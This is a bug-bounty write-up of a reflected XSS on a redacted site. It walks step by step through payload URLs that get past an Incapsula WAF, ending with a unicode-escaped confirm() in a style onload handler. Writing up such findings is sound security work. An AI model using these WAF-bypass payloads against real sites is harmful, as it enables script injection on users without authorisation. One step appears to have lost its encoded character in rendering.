XSS - Incapsula bypass
29/10/2019
There was a page on this private program's website where the URL path was reflected on the response body and wasn't being properly encoded, which could result in a possible XSS vulnerability.
When using a " in the path, it was possible to escape the href attribute from an a element.
https://redacted.com/path/?site"kkk
<a href="https://redacted.com/?site"kkk=&etsi=1557&k3e=_main">
It was also possible to use <, > and / characters, which should mean that getting a XSS was easy.
https://redacted.com/path/?site"><x>aa</x>
<a href="https://redacted.com/?site"><x>aa</x>=&etsi=1557&k3e=_main">
But when trying a default payload a 403 error is returned.
https://redacted.com/path/?site"><script>alert()</script>
403 Error
I tried with different payloads and stuck with a style element with an onload attribute that executes the javascript code, which seemed to not be filtered.
https://redacted.com/path/?site"><style onload=alert()></style>
<a href="https://redacted.com/?site"><style_onload=alert%28%29%3E%3C%2Fstyle%3E&etsi=1557&k3e=_main">
There are two problems here:
- Spaces are being replaced by
_. - Everything after a
=gets URL encoded.
The spaces issue is easy to resolve by using / instead.
https://redacted.com/path/?site"><style/onload=alert()></style>
<a href="https://redacted.com/?site"><style/onload=alert%28%29%3E%3C%2Fstyle%3E&etsi=1557&k3e=_main">
But to get a working payload, non-encoded characters are needed after the = character. So I started trying with tons of symbols and found that every time a & was reflected, a = was placed before it and the payload wasn't encoded.
https://redacted.com/path/?site">oo&kk>
<a href="https://redacted.com/path/?site">oo=&kk>=&countrystr_ch=belgium&lang=7">
Therefore, it was possible to use a & after onload to automatically add the desired =.
https://redacted.com/path/?site"><style/onload&alert()></style>
<a href="https://redacted.com/?site"><style/onload=&alert()></style>=&etsi=1557&k3e=_main">
But &alert() is not a valid javascript code and it's not possible to execute the alert.
SyntaxError: expected expression, got '&'
Here is when HTML encoding becomes useful, is the same as writing a whitespace, being able to get a valid javascript code ( alert()).
https://redacted.com/path/?site"><style/onload alert()></style>
403 Error
Unfortunately this was blocked by the WAF, so I tried with different javascript functions instead of alert.
https://redacted.com/path/?site"><style/onload confirm()></style>
403 Error
Same error.
But finally, it is possible to bypass this WAF restriction by using a unicode sequence since javascript interprets \u006e as a n, then co\u006efirm = confirm.
https://redacted.com/path/?site"><style/onload co\u006efirm()></style>
<a href="https://redacted.com/?site"><style/onload= co\u006efirm()></style>=&etsi=1557&k3e=_main">